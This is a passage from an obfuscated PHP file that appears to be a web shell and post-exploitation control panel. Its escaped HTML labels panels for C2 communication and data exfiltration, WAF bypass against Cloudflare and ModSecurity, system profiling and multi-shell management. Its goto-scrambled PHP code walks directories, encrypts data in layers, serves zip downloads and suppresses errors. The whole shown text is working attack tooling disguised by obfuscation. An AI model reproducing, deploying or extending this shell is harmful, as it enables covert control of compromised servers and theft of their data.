7\150\164\72\61\65\x30\x70\x78\73\x20\x66\157\x6e\164\x2d\146\x61\155\151\154\171\x3a\x6d\157\156\157\x73\x70\141\143\x65\x3b\40\x66\157\156\x74\55\163\x69\x7a\145\x3a\61\62\x70\170\x3b\42\76\74\x2f\164\145\170\164\x61\x72\145\141\76\x3c\57\x64\x69\166\76\x3c\57\x64\x69\x76\76\74\x62\x75\x74\x74\x6f\156\x20\x69\x64\x3d\42\x6d\165\154\x74\x69\55\x62\x61\143\x6b\165\160\55\142\x74\156\x22\x3e\360\237\222\276\40\x43\162\x65\141\164\145\40\102\x61\x63\x6b\x75\x70\x73\74\x2f\142\x75\164\x74\x6f\x6e\76\x3c\x64\x69\166\x20\x69\144\x3d\42\x6d\x75\154\164\x69\x2d\x62\x61\x63\153\x75\160\55\x72\145\163\165\154\x74\x73\42\40\163\x74\x79\x6c\x65\x3d\x22\x6d\141\x72\x67\151\156\55\164\157\x70\72\61\162\x65\x6d\73\42\x3e\x3c\x2f\144\151\166\x3e\74\57\x64\151\166\76\74\57\x64\151\166\x3e\74\x2f\x64\151\166\76\12\x9\x9\74\x64\151\166\x20\151\x64\x3d\x22\166\x69\x65\167\55\143\62\x2d\143\x6f\155\x6d\x75\156\151\143\x61\x74\x69\x6f\x6e\42\x20\143\x6c\141\x73\163\x3d\x22\166\151\x65\167\55\x63\157\156\x74\141\151\156\x65\162\42\76\x3c\144\x69\x76\x20\x63\x6c\x61\x73\163\x3d\42\143\x6f\x6e\164\x65\x6e\164\55\150\145\141\x64\145\x72\42\76\360\x9f\x93\xa1\40\103\62\x20\103\157\155\x6d\165\156\x69\x63\141\x74\x69\x6f\x6e\74\x2f\x64\151\x76\x3e\74\144\151\x76\40\143\154\x61\163\x73\x3d\42\143\x6f\x6e\x74\x65\x6e\x74\55\x61\162\x65\141\x22\x3e\x3c\x64\151\166\x20\x63\x6c\x61\x73\x73\75\x22\164\157\157\154\55\x73\x65\143\x74\151\157\x6e\42\76\74\x68\63\76\x43\x6f\155\x6d\141\156\x64\40\46\40\103\157\156\x74\x72\157\154\x20\123\x65\162\x76\x65\162\74\x2f\x68\x33\76\x3c\160\40\163\x74\171\154\x65\x3d\x22\143\157\154\157\162\x3a\x20\166\x61\162\x28\x2d\x2d\x74\145\170\164\55\155\145\144\x29\x3b\42\76\x43\x6f\155\155\165\156\151\x63\x61\164\x65\x20\x77\x69\164\150\40\x79\x6f\x75\162\40\x43\62\x20\x73\x65\162\166\x65\x72\x20\146\x6f\x72\x20\143\145\x6e\164\162\141\x6c\x69\172\x65\144\x20\143\x6f\155\x6d\141\156\144\x20\145\x78\145\143\165\164\x69\157\x6e\40\x61\156\x64\40\x64\141\x74\141\40\x65\170\x66\x69\x6c\x74\x72\141\164\151\x6f\x6e\x2e\x3c\x2f\160\x3e\x3c\144\151\x76\40\x73\x74\171\154\145\75\42\144\151\163\160\x6c\141\171\x3a\x67\x72\151\144\73\x20\x67\162\x69\x64\55\164\x65\x6d\x70\x6c\x61\164\x65\55\143\x6f\154\165\x6d\x6e\x73\72\x20\x72\145\x70\145\x61\x74\50\x61\165\164\157\x2d\x66\151\x74\54\40\x6d\151\x6e\155\x61\x78\50\62\x35\x30\x70\170\54\x20\x31\146\x72\51\x29\x3b\40\147\x61\x70\x3a\x31\162\145\155\x3b\40\x6d\141\162\x67\151\x6e\x2d\142\157\164\x74\x6f\155\x3a\61\x72\x65\x6d\73\42\76\74\x69\x6e\160\x75\x74\40\x74\x79\160\x65\75\42\x74\x65\170\x74\42\x20\151\x64\75\x22\143\x32\55\x75\162\x6c\42\40\160\x6c\x61\x63\x65\x68\x6f\154\x64\145\162\75\42\x43\x32\40\123\145\162\x76\x65\x72\x20\x55\122\114\40\50\145\x2e\147\x2e\54\x20\150\164\x74\x70\x73\x3a\x2f\x2f\171\x6f\165\162\x2d\143\62\56\143\x6f\x6d\x2f\141\160\x69\51\x22\x20\x73\164\171\154\145\75\42\x67\x72\151\x64\55\143\x6f\154\x75\155\156\x3a\x20\61\40\x2f\x20\x2d\x31\73\42\x3e\74\163\145\154\145\143\164\x20\151\x64\x3d\x22\x63\62\x2d\x61\143\164\x69\157\156\x22\x20\163\x74\171\154\x65\x3d\42\x77\x69\x64\164\x68\x3a\x32\60\60\x70\x78\73\42\76\74\x6f\160\164\x69\157\156\x20\x76\141\154\x75\145\75\x22\x63\x68\x65\x63\153\151\156\42\x3e\x43\x68\145\143\x6b\x2d\151\x6e\x3c\x2f\157\x70\164\151\157\156\x3e\74\157\160\x74\151\x6f\x6e\x20\166\141\x6c\x75\x65\x3d\x22\165\x70\x6c\x6f\x61\x64\42\x3e\125\x70\x6c\157\141\x64\x20\x44\141\x74\x61\74\57\x6f\x70\164\151\157\x6e\76\x3c\157\x70\x74\151\x6f\x6e\40\166\x61\154\x75\x65\75\x22\144\x6f\167\x6e\x6c\157\141\144\42\76\104\x6f\167\x6e\x6c\157\x61\x64\x20\x43\157\155\x6d\x61\x6e\x64\74\x2f\x6f\x70\164\x69\157\x6e\x3e\x3c\157\160\x74\x69\x6f\156\40\166\x61\x6c\165\x65\75\42\162\x65\160\157\162\x74\42\x3e\x52\x65\x70\157\x72\164\40\123\x74\141\x74\165\x73\74\x2f\157\160\164\x69\x6f\x6e\76\74\x2f\x73\145\154\x65\143\164\76\x3c\164\x65\170\x74\141\162\145\141\40\151\144\x3d\42\143\62\55\144\x61\x74\x61\x22\40\x70\x6c\141\143\x65\150\157\x6c\x64\145\x72\75\x22\101\144\144\151\x74\x69\x6f\156\141\x6c\x20\144\141\164\141\x20\164\x6f\40\x73\145\x6e\x64\x20\x28\x6f\x70\164\x69\x6f\156\x61\x6c\51\42\40\163\x74\171\154\x65\75\42\x67\162\151\144\x2d\143\157\154\165\x6d\x6e\72\40\61\40\57\40\55\61\73\40\x6d\151\x6e\x2d\x68\145\x69\147\x68\164\72\61\x30\60\160\x78\73\42\76\x3c\x2f\x74\145\170\164\141\162\x65\141\x3e\x3c\x2f\144\151\166\76\74\x62\x75\164\164\x6f\156\x20\151\x64\x3d\42\x63\x32\x2d\143\157\155\x6d\165\156\x69\x63\x61\164\145\55\x62\164\156\42\76\360\x9f\223\241\40\123\145\156\144\x20\164\x6f\x20\103\62\x3c\57\x62\165\x74\164\x6f\x6e\76\74\x64\151\x76\40\x69\x64\75\x22\x63\x32\x2d\162\x65\163\x75\x6c\164\163\42\x20\x73\x74\x79\154\145\x3d\x22\x6d\141\x72\147\x69\x6e\x2d\164\157\160\x3a\61\162\x65\x6d\73\42\x3e\x3c\x2f\x64\x69\166\76\x3c\x2f\x64\x69\x76\76\74\x2f\x64\151\166\76\x3c\x2f\x64\x69\166\x3e\12\11\11\x3c\x64\x69\166\40\151\144\x3d\x22\166\x69\145\x77\x2d\167\x61\x66\55\142\171\x70\141\x73\x73\x22\x20\143\154\x61\x73\x73\x3d\42\x76\151\x65\x77\x2d\143\157\x6e\164\141\151\x6e\145\x72\x22\x3e\x3c\144\x69\x76\40\x63\x6c\141\163\x73\x3d\x22\x63\x6f\156\x74\x65\x6e\164\x2d\150\x65\x61\x64\x65\162\x22\x3e\xf0\x9f\x9b\241\357\270\217\40\x57\x41\106\40\x42\x79\x70\141\163\163\40\124\145\x63\150\x6e\151\161\x75\x65\163\x3c\x2f\144\x69\x76\x3e\x3c\144\x69\x76\40\x63\x6c\x61\163\x73\x3d\42\143\157\156\164\x65\x6e\x74\x2d\141\162\145\141\x22\x3e\x3c\144\151\166\x20\143\154\141\x73\163\x3d\42\164\x6f\x6f\x6c\x2d\x73\145\x63\164\x69\x6f\x6e\42\x3e\x3c\x68\63\76\124\x65\x73\164\40\x57\x41\106\x20\102\171\x70\x61\x73\163\40\115\x65\x74\150\x6f\144\x73\x3c\x2f\x68\63\x3e\x3c\160\40\163\x74\x79\x6c\145\75\x22\x63\157\x6c\x6f\x72\x3a\x20\x76\x61\162\x28\55\x2d\x74\x65\170\x74\55\x6d\145\x64\51\x3b\42\x3e\x54\x65\163\x74\x20\x76\x61\162\151\x6f\x75\163\40\x74\x65\x63\x68\156\151\161\165\x65\163\x20\164\157\40\x62\171\160\141\x73\163\x20\127\x65\142\x20\x41\160\x70\x6c\x69\x63\x61\164\x69\157\x6e\x20\106\151\162\x65\x77\141\x6c\x6c\x73\x20\x28\103\x6c\157\x75\144\x66\x6c\141\162\x65\x2c\x20\115\157\x64\x53\x65\143\165\162\151\164\171\x2c\x20\145\x74\x63\x2e\x29\56\74\57\160\x3e\x3c\144\151\166\x20\x73\164\171\154\145\75\42\x64\151\163\x70\x6c\141\171\72\x67\162\151\144\x3b\x20\x67\x72\151\144\x2d\x74\x65\x6d\160\x6c\x61\164\145\55\143\x6f\x6c\165\x6d\156\163\x3a\40\x72\x65\160\145\141\x74\50\x61\165\x74\x6f\x2d\146\x69\164\x2c\x20\155\151\156\x6d\x61\170\50\x32\65\60\160\170\54\40\61\146\162\51\51\x3b\x20\x67\141\160\72\x31\162\x65\155\x3b\40\x6d\x61\162\x67\x69\x6e\x2d\x62\x6f\164\164\157\x6d\72\x31\162\145\x6d\73\42\76\74\x69\x6e\160\165\x74\x20\164\171\x70\x65\75\42\164\145\x78\x74\42\40\151\x64\75\42\167\x61\x66\55\164\141\162\147\145\x74\x2d\x75\162\x6c\x22\40\x70\x6c\x61\x63\x65\150\x6f\x6c\x64\x65\x72\75\42\x54\141\162\147\145\164\40\x55\122\x4c\40\164\157\40\x74\145\163\164\42\x20\163\x74\x79\154\x65\75\x22\x67\x72\151\x64\x2d\143\157\x6c\x75\x6d\156\72\40\x31\40\x2f\40\x2d\x31\x3b\42\x3e\x3c\x74\145\170\164\141\162\145\x61\40\151\144\75\x22\167\141\146\55\x70\141\171\x6c\x6f\141\144\x22\x20\160\154\x61\143\x65\150\x6f\x6c\144\x65\x72\75\x22\120\x61\171\x6c\x6f\x61\144\x20\164\157\40\164\145\163\x74\x20\50\x65\x2e\x67\56\54\x20\123\x45\114\105\x43\x54\40\52\x20\106\x52\x4f\115\40\165\163\145\162\x73\x29\42\x20\x73\164\171\154\x65\75\42\147\x72\151\144\x2d\143\x6f\x6c\165\x6d\x6e\x3a\40\61\40\57\x20\x2d\61\73\x20\155\x69\156\x2d\x68\145\151\147\x68\x74\x3a\x38\x30\160\170\73\40\x66\157\x6e\x74\55\146\x61\155\151\154\171\72\155\x6f\x6e\157\163\160\x61\143\145\x3b\42\76\74\57\x74\145\170\x74\141\x72\x65\x61\x3e\74\163\x65\154\x65\x63\164\x20\x69\144\75\42\x77\x61\x66\x2d\164\x65\143\150\156\151\x71\165\x65\x22\40\163\x74\171\154\x65\75\42\167\151\x64\164\x68\72\62\60\60\x70\170\x3b\x22\x3e\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\154\165\145\75\x22\141\154\x6c\x22\76\101\154\154\x20\124\145\143\150\156\151\x71\165\x65\x73\74\x2f\157\160\x74\x69\157\x6e\x3e\x3c\157\x70\164\151\x6f\x6e\x20\166\141\154\x75\x65\75\42\x63\x61\163\145\x5f\166\141\162\151\141\164\x69\157\x6e\x22\x3e\x43\141\163\x65\x20\126\x61\x72\151\141\x74\151\157\x6e\x3c\57\157\x70\164\151\x6f\156\76\74\x6f\160\x74\151\x6f\x6e\40\x76\141\x6c\165\x65\75\x22\145\156\143\x6f\x64\151\x6e\147\42\x3e\105\x6e\x63\x6f\144\x69\x6e\x67\74\57\x6f\160\164\x69\157\x6e\x3e\x3c\x6f\x70\x74\x69\157\156\40\x76\141\x6c\165\145\75\42\143\157\155\x6d\x65\x6e\x74\137\151\x6e\152\x65\143\x74\151\157\156\42\x3e\103\x6f\155\155\145\x6e\x74\40\x49\156\152\x65\x63\164\x69\x6f\156\x3c\x2f\157\160\164\x69\157\x6e\x3e\x3c\x6f\160\164\x69\x6f\x6e\x20\166\x61\154\165\145\x3d\x22\x77\150\x69\164\x65\163\160\x61\143\x65\x22\x3e\x57\x68\151\164\x65\x73\x70\x61\x63\x65\74\57\157\x70\x74\151\157\x6e\76\x3c\157\160\164\151\x6f\156\40\x76\x61\154\165\145\x3d\42\x73\x74\x72\151\156\x67\x5f\x63\157\156\143\x61\x74\x65\156\x61\164\x69\157\156\x22\x3e\123\x74\x72\151\156\x67\40\x43\157\156\x63\x61\164\x65\156\x61\164\x69\x6f\x6e\74\x2f\157\160\x74\x69\x6f\x6e\76\x3c\57\163\145\154\x65\x63\164\x3e\x3c\x2f\144\151\x76\76\74\x62\x75\164\164\157\x6e\40\151\x64\x3d\42\167\x61\x66\55\142\171\x70\x61\163\163\55\x74\x65\x73\164\55\x62\x74\x6e\x22\x3e\xf0\237\x9b\xa1\xef\270\x8f\40\x54\145\163\x74\x20\102\171\x70\141\x73\163\x3c\57\142\165\x74\164\x6f\x6e\x3e\x3c\144\151\166\x20\x69\x64\75\42\167\141\146\55\x62\x79\160\x61\163\x73\55\x72\145\x73\x75\x6c\164\163\42\40\163\164\x79\154\145\75\42\x6d\x61\x72\147\x69\156\x2d\164\x6f\160\x3a\61\162\145\x6d\73\42\x3e\x3c\57\144\151\x76\76\x3c\57\144\x69\166\x3e\74\x2f\144\151\x76\x3e\x3c\57\x64\x69\x76\x3e\12\x9\x9\x3c\144\x69\x76\x20\151\x64\75\x22\x76\151\145\x77\55\x73\x79\x73\164\145\155\x2d\x70\162\157\146\151\x6c\145\x72\42\40\x63\x6c\141\x73\163\75\x22\x76\x69\145\x77\55\x63\x6f\x6e\x74\141\151\156\145\x72\42\76\x3c\x64\151\166\40\143\154\141\163\163\x3d\42\x63\157\x6e\x74\145\156\164\55\x68\x65\x61\x64\x65\x72\42\x3e\360\237\224\215\40\123\x79\x73\x74\x65\155\40\120\162\x6f\x66\151\x6c\x65\x72\74\57\144\x69\x76\76\x3c\144\151\166\x20\x63\x6c\x61\163\163\x3d\x22\143\x6f\x6e\x74\x65\156\164\x2d\x61\162\145\141\x22\76\x3c\x64\x69\x76\x20\143\x6c\141\163\163\75\42\x74\157\157\154\55\163\145\143\x74\151\157\x6e\x22\76\x3c\x68\63\x3e\x53\x79\163\x74\145\x6d\x20\x49\x6e\146\157\x72\x6d\141\164\151\x6f\156\40\x47\141\x74\150\x65\x72\x69\156\147\x3c\57\x68\x33\76\74\160\x20\163\x74\x79\154\145\x3d\x22\143\157\154\157\x72\72\40\166\141\162\x28\x2d\x2d\164\145\x78\164\x2d\155\145\x64\x29\73\42\x3e\x47\141\x74\x68\145\x72\40\143\x6f\155\160\x72\x65\150\145\156\x73\151\166\145\40\163\x79\163\x74\x65\x6d\x20\151\156\146\157\x72\155\x61\x74\151\157\x6e\40\146\157\162\40\x70\x6f\163\x74\x2d\x65\x78\160\x6c\x6f\151\164\141\x74\x69\157\x6e\40\x61\156\141\154\x79\x73\151\163\56\x3c\x2f\160\76\74\144\151\166\40\163\x74\171\154\145\x3d\x22\x6d\x61\162\147\151\x6e\55\x62\x6f\x74\x74\157\x6d\72\x31\162\x65\x6d\73\x22\x3e\x3c\x73\145\154\145\143\x74\x20\x69\x64\x3d\x22\x70\162\x6f\x66\x69\x6c\145\162\x2d\x74\171\x70\145\x22\x20\163\x74\x79\154\x65\x3d\42\167\151\x64\x74\x68\72\62\x30\60\160\170\73\x22\x3e\x3c\x6f\x70\x74\151\157\x6e\40\x76\x61\x6c\165\145\75\x22\146\x75\x6c\154\x22\x3e\x46\165\x6c\154\x20\x50\162\157\146\x69\154\145\x3c\57\x6f\x70\x74\151\157\156\x3e\x3c\157\160\164\x69\157\x6e\40\166\141\x6c\x75\x65\75\x22\x73\171\x73\x74\x65\x6d\42\76\123\x79\163\x74\x65\155\x20\111\x6e\x66\x6f\74\x2f\x6f\x70\x74\151\x6f\x6e\76\74\157\x70\164\151\157\x6e\40\x76\x61\154\x75\145\75\x22\156\x65\x74\x77\x6f\x72\x6b\x22\76\x4e\145\164\167\x6f\x72\153\40\111\x6e\x66\x6f\x3c\57\x6f\160\x74\x69\157\156\76\x3c\x6f\160\x74\151\157\x6e\40\x76\141\x6c\x75\x65\x3d\x22\x73\157\x66\164\x77\x61\x72\145\42\x3e\111\156\x73\164\x61\x6c\154\x65\144\x20\123\x6f\x66\164\x77\141\x72\145\74\x2f\x6f\160\x74\x69\x6f\x6e\76\x3c\x6f\160\x74\151\x6f\156\40\166\141\154\165\145\75\x22\160\x65\162\x6d\x69\x73\163\x69\157\156\163\x22\x3e\x50\x65\162\155\151\x73\163\151\157\x6e\163\74\57\x6f\160\164\151\x6f\156\76\74\57\x73\145\x6c\145\x63\164\x3e\74\x2f\144\x69\x76\x3e\x3c\142\165\x74\x74\x6f\156\40\151\144\75\42\x73\x79\x73\164\x65\155\x2d\x70\x72\157\146\151\x6c\145\x72\55\142\164\x6e\x22\x3e\xf0\x9f\224\x8d\40\x47\141\164\x68\145\162\40\x53\171\163\x74\x65\x6d\x20\111\156\146\x6f\74\57\142\165\164\164\x6f\156\76\x3c\144\151\x76\x20\x69\144\x3d\x22\x73\x79\163\164\x65\155\x2d\160\162\x6f\146\x69\154\145\x72\55\162\145\x73\x75\154\x74\x73\42\x20\163\164\x79\x6c\145\x3d\x22\155\141\x72\147\x69\x6e\x2d\x74\157\x70\72\61\x72\145\155\x3b\x22\76\x3c\57\x64\x69\166\x3e\74\57\144\151\166\x3e\x3c\57\144\151\166\76\74\57\144\x69\x76\76\12\x9\11\x3c\x64\151\166\x20\151\144\75\x22\x76\151\145\x77\55\155\x75\154\x74\x69\x2d\x73\x68\x65\154\154\42\40\x63\x6c\x61\x73\163\75\x22\x76\151\145\167\x2d\x63\157\x6e\164\141\x69\156\x65\x72\42\76\x3c\x64\x69\x76\x20\143\x6c\x61\163\x73\75\x22\x63\x6f\156\x74\145\x6e\164\55\x68\x65\141\x64\145\162\42\x3e\xf0\237\214\x90\x20\x4d\165\154\x74\151\55\123\x68\145\x6c\154\x20\115\141\156\141\147\x65\x72\x3c\x2f\x64\151\x76\76\x3c\x64\x69\166\40\x63\x6c\141\x73\x73\75\42\143\x6f\156\x74\145\156\x74\x2d\x61\162\145\x61\x22\x3e\x3c\x64\151\166\40\x63\154\141\163\x73\75\x22\x74\x61\142\163\42\76\x3c\163\x70\x61\x6e\x20\x63\x6c\141\x73\163\x3d\42\164\x61\x62\55\x6c\x69\156\153\40\x61\143\164\x69\x76\145\42\x20\144\141\x74\141\55\x74\141\142\x3d\x22\162\145\147\x69\x73\164\145\x72\55\x73\150\145\154\154\x22\x3e\x52\145\147\151\x73\x74\145\x72\40\x53\150\x65\154\x6c\x3c\57\163\160\141\x6e\76\74\163\x70\141\156\x20\143\x6c\x61\163\x73\x3d\42\x74\141\x62\55\x6c\x69\156\153\x22\x20\144\141\x74\141\55\164\141\142\75\x22\154\151\x73\x74\x2d\163\x68\145\154\x6c\163\x22\x3e\x4c\151\x73\164\x20\123\x68\x65\154\154\x73\x3c\57\x73\x70\x61\x6e\76\74\163\x70\141\x6e\40\x63\154\141\163\x73\75\42\x74\x61\142\x2d\154\x69\156\153\42\40\x64\x61\x74\141\x2d\x74\141\x62\75\42\x62\x72\157\141\x64\x63\x61\x73\164\x22\76\102\162\x6f\x61\144\x63\x61\x73\164\40\103\x6f\155\x6d\141\x6e\x64\74\x2f\163\x70\x61\x6e\76\x3c\x2f\x64\151\x76\x3e\74\144\151\166\x20\151\144\x3d\42\x74\141\142\55\x72\x65\147\x69\x73\x74\x65\x72\x2d\x73\150\x65\154\x6c\42\40\x63\x6c\x61\163\x73\x3d\42\x74\141\x62\x2d\x63\x6f\x6e\x74\145\156\x74\x20\x61\x63\164\x69\166\145\42\76\74\x64\x69\166\40\143\x6c\x61\163\x73\x3d\42\164\157\157\154\x2d\x73\145\x63\x74\x69\x6f\156\x22\76\x3c\x68\63\x3e\122\145\x67\151\163\x74\145\162\x20\116\x65\167\x20\123\150\x65\154\154\74\x2f\150\x33\76\x3c\160\x20\163\164\x79\154\x65\75\42\x63\157\154\x6f\162\72\x20\166\141\x72\50\55\55\x74\x65\x78\164\55\155\145\x64\x29\x3b\42\76\x52\145\147\x69\163\x74\145\x72\40\x74\x68\x69\x73\x20\163\150\x65\154\x6c\54\40\x6c\x6f\x63\141\x6c\40\163\150\x65\154\154\54\40\x6f\x72\x20\162\145\155\157\164\x65\x20\163\x68\145\154\x6c\x20\50\x64\151\146\x66\145\x72\x65\156\164\40\144\157\155\141\x69\156\x29\x20\x66\x6f\162\40\143\x65\156\164\162\x61\154\x69\172\x65\144\40\155\141\x6e\x61\x67\145\155\x65\x6e\164\x2e\74\x2f\x70\76\74\144\151\x76\40\163\164\x79\154\x65\75\x22\155\141\162\x67\x69\156\55\x62\157\x74\x74\157\155\72\61\162\x65\155\73\42\76\74\x6c\x61\142\x65\154\40\163\x74\171\x6c\145\x3d\42\x64\x69\163\160\154\141\171\72\x66\154\x65\x78\73\x20\141\x6c\151\147\156\55\151\164\145\x6d\x73\72\x63\145\156\164\145\162\73\x20\147\x61\160\x3a\x30\56\65\162\x65\x6d\73\x20\x63\x6f\x6c\157\x72\72\166\141\162\x28\55\x2d\x74\x65\x78\x74\55\154\x69\147\150\164\x29\73\40\x6d\141\162\x67\x69\x6e\x2d\142\157\x74\164\157\155\x3a\60\56\x35\162\x65\x6d\73\42\x3e\74\x69\156\x70\165\164\x20\x74\x79\160\x65\75\42\143\150\x65\x63\x6b\x62\x6f\x78\42\x20\151\144\75\42\162\145\147\151\x73\x74\145\162\x2d\151\x73\x2d\x72\145\155\x6f\164\x65\x22\40\x6f\x6e\x63\150\x61\x6e\147\145\75\x22\x64\157\143\165\155\x65\x6e\x74\x2e\147\x65\x74\x45\154\145\155\145\156\164\x42\171\x49\144\x28\47\162\x65\x67\x69\x73\164\x65\x72\x2d\162\145\155\157\164\145\55\143\x6f\x6e\164\x61\x69\156\x65\x72\47\51\56\x73\x74\x79\154\x65\x2e\144\x69\163\x70\154\x61\x79\x20\75\x20\164\x68\151\x73\56\x63\150\x65\x63\153\x65\144\x20\77\x20\x27\x62\154\157\x63\x6b\47\40\x3a\40\47\156\157\x6e\145\x27\73\40\x64\x6f\143\x75\x6d\145\x6e\164\x2e\147\x65\164\x45\154\145\155\145\156\x74\x42\171\x49\x64\x28\x27\162\x65\147\151\163\164\x65\x72\55\154\x6f\143\141\x6c\55\x63\157\x6e\164\x61\x69\156\x65\x72\47\x29\x2e\x73\164\x79\154\x65\x2e\x64\151\163\x70\x6c\x61\x79\x20\75\x20\x74\150\x69\x73\56\x63\150\145\x63\x6b\145\x64\40\77\x20\47\156\x6f\x6e\x65\x27\40\72\40\x27\142\154\157\x63\x6b\x27\x3b\x22\x3e\x20\122\x65\147\151\163\164\x65\x72\40\122\145\155\x6f\164\145\40\123\x68\145\x6c\x6c\x20\x28\x44\151\x66\x66\145\x72\145\156\x74\40\104\157\x6d\141\x69\x6e\51\74\57\154\141\x62\x65\154\x3e\x3c\57\x64\151\x76\76\x3c\x64\151\166\x20\x69\144\75\42\x72\x65\147\151\x73\x74\x65\162\x2d\154\157\x63\141\154\x2d\143\157\x6e\164\x61\x69\156\145\x72\x22\76\x3c\144\151\166\x20\163\164\x79\154\x65\75\x22\144\x69\x73\x70\154\141\171\72\147\162\151\x64\73\x20\x67\162\151\144\x2d\x74\145\x6d\160\154\x61\164\145\x2d\143\157\x6c\165\155\x6e\163\x3a\40\x72\x65\160\x65\x61\x74\50\141\x75\164\157\x2d\146\x69\x74\54\40\155\151\x6e\155\x61\170\50\x32\x35\x30\160\x78\54\40\x31\x66\162\x29\51\73\x20\x67\x61\x70\x3a\61\x72\x65\155\73\x20\155\x61\162\x67\151\x6e\55\142\157\x74\164\x6f\x6d\x3a\x31\x72\x65\x6d\73\42\x3e\74\151\x6e\x70\x75\x74\x20\164\171\x70\145\75\42\x74\x65\170\164\x22\40\151\144\x3d\42\162\x65\147\151\x73\x74\x65\x72\x2d\163\150\145\x6c\154\x2d\160\141\164\150\x22\x20\160\x6c\x61\x63\145\x68\x6f\154\144\145\x72\x3d\x22\123\150\x65\154\x6c\40\160\x61\164\x68\40\x28\x6c\145\x61\166\x65\x20\145\155\x70\x74\x79\x20\x66\x6f\162\40\x63\x75\x72\162\145\x6e\x74\x29\x22\40\163\164\171\154\x65\x3d\x22\x67\x72\151\144\x2d\x63\157\154\165\x6d\156\72\40\x31\40\x2f\40\x2d\61\x3b\42\40\x76\x61\154\x75\145\75\42"; goto fvDN7; BojWq: function py2_5($j3_hR, $Vmpzd = 5, $Ntv4k = 0) { goto knzYU; XFJTH: foreach ($pyPWS as $xG20T) { goto LXuOT; BRtV0: $CtBHF["\143\150\151\x6c\x64\162\x65\156"][] = pY2_5($SPA0G, $Vmpzd, $Ntv4k + 1); goto FG1eO; edpyC: if (!is_dir($SPA0G)) { goto ZlXIa; } goto BRtV0; FG1eO: ZlXIa: goto syBuB; luJdX: goto U6nXu; goto VujHx; VujHx: OnpJ_: goto kPPOi; kPPOi: $SPA0G = $j3_hR . DIRECTORY_SEPARATOR . $xG20T; goto edpyC; syBuB: U6nXu: goto XOXjN; LXuOT: if (!($xG20T === "\x2e" || $xG20T === "\56\x2e")) { goto OnpJ_; } goto luJdX; XOXjN: } goto u3Nww; Bk0qf: M2C00: goto XFJTH; ShvPR: $pyPWS = @scandir($j3_hR); goto DdiOj; A4OV4: oV3ht: goto ShvPR; U3Xqk: return $CtBHF; goto ONHN8; u3Nww: AfK5k: goto U3Xqk; DkutS: return $CtBHF; goto A4OV4; DdiOj: if (!($pyPWS === false)) { goto M2C00; } goto pWobe; Wu7rk: if (!(!is_readable($j3_hR) || $Ntv4k >= $Vmpzd)) { goto oV3ht; } goto DkutS; knzYU: $CtBHF = ["\160\141\164\x68" => realpath($j3_hR), "\x6e\x61\x6d\x65" => basename($j3_hR), "\143\150\151\154\x64\x72\x65\156" => []]; goto Wu7rk; pWobe: return $CtBHF; goto Bk0qf; ONHN8: } goto qVu8Y; g0Vj0: function OXqHU($siOBH, $IMtDv) { goto n7sqX; oKGRh: $b45TQ = ''; goto yvCQX; yvCQX: $jY45d = 0; goto wXOCY; sK5Ms: $wdqxR = base64_encode($J5Adb); goto ZN9m6; zIj4J: goto ipeuH; goto ZHQpI; nDW6v: $rrs7k = hash_pbkdf2("\x73\x68\x61\62\x35\x36", $IMtDv, $stdxo, 10000, 32, true); goto cwyRN; JmWkw: $stdxo = openssl_random_pseudo_bytes(32); goto QI_00; vMy43: $hsc0Y = openssl_encrypt($SfrUd, "\101\105\x53\x2d\x32\x35\x36\x2d\x43\x42\103", $vx3eO, 0, $ct4lT); goto vKOCh; rohM2: $UcOk9 = substr(hash("\163\150\x61\62\x35\x36", $rrs7k . $AuZsy, true), 0, strlen($GgQhr)); goto oKGRh; D4ndF: $AuZsy = openssl_random_pseudo_bytes(16); goto nDW6v; N9iz7: $KH0Ix = openssl_random_pseudo_bytes(16); goto zPXtD; k0OTw: return $HlKrH; goto I85uR; xteXX: $l9YRS = hash("\163\150\x61\62\65\x36", $IMtDv . $stdxo . $zpw3o, true); goto rohM2; bS3OI: $jY45d++; goto zIj4J; vKOCh: $m2Dp_ = openssl_random_pseudo_bytes(16); goto qx5w9; zPXtD: $SfrUd = openssl_encrypt($b45TQ, "\x41\105\x53\x2d\62\x35\66\x2d\103\102\103", $rrs7k, 0, $KH0Ix); goto PhOm_; kFg4j: $J5Adb = bin2hex($dCEgv); goto sK5Ms; LiSID: $CW01N = $jbM12 . $H133r; goto daL6u; wXOCY: ipeuH: goto DFWFz; m18Kq: $dCEgv = base64_encode($ymoYI); goto kFg4j; XnyIV: $jbM12 = openssl_random_pseudo_bytes(rand(16, 64)); goto LiSID; zz5L9: $HlKrH = base64_encode($DP2Js) . "\x7c" . $wdqxR; goto k0OTw; fjYN6: Nnnb4: goto JmWkw; jOP4Q: if (!($GgQhr === false)) { goto Nnnb4; } goto eWKfg; QI_00: $zpw3o = openssl_random_pseudo_bytes(32); goto D4ndF; DFWFz: if (!($jY45d < strlen($GgQhr))) { goto KU0rK; } goto LMp8e; cONth: $ymoYI = strrev($t4hDp); goto m18Kq; n7sqX: $GgQhr = @gzcompress($siOBH, 9); goto jOP4Q; qx5w9: $H133r = openssl_encrypt($hsc0Y, "\101\105\x53\x2d\x32\x35\66\55\103\x42\103", $l9YRS, 0, $m2Dp_); goto XnyIV; PhOm_: $ct4lT = openssl_random_pseudo_bytes(16); goto vMy43; ZN9m6: $DP2Js = $stdxo . $zpw3o . $AuZsy . $KH0Ix . $ct4lT . $m2Dp_ . chr(strlen($jbM12)); goto zz5L9; ZHQpI: KU0rK: goto N9iz7; LMp8e: $b45TQ .= chr(ord($GgQhr[$jY45d]) ^ ord($UcOk9[$jY45d % strlen($UcOk9)])); goto bIQqC; daL6u: $t4hDp = base64_encode($CW01N); goto cONth; cwyRN: $vx3eO = hash_pbkdf2("\163\x68\x61\x35\x31\x32", $IMtDv . $stdxo, $zpw3o, 5000, 32, true); goto xteXX; bIQqC: BDgnZ: goto bS3OI; eWKfg: $GgQhr = $siOBH; goto fjYN6; I85uR: } goto XEYcS; AytG6: ob_end_flush(); goto sJvYj; jtcB7: header("\103\157\x6e\164\x65\156\164\x2d\104\x65\163\143\x72\151\160\164\x69\x6f\156\72\x20\106\151\x6c\145\x20\124\162\x61\x6e\163\x66\145\162"); goto fGsfc; t2Y3I: $sv0qE = json_decode($JUlBm, true); goto OC_UI; rkr1p: goto CZSD2; goto j1yik; fGsfc: header("\103\157\156\164\x65\x6e\x74\55\124\171\160\x65\x3a\40\x61\x70\160\154\x69\143\x61\164\x69\x6f\x6e\x2f\172\x69\160"); goto Q9FIj; kp2wA: vbH70: goto NNso_; B0LA4: ini_set("\144\151\x73\x70\154\x61\171\137\x65\162\162\157\162\x73", 0); goto IkqWU; vECbI: $etpkF = dirname($zJsLG) . 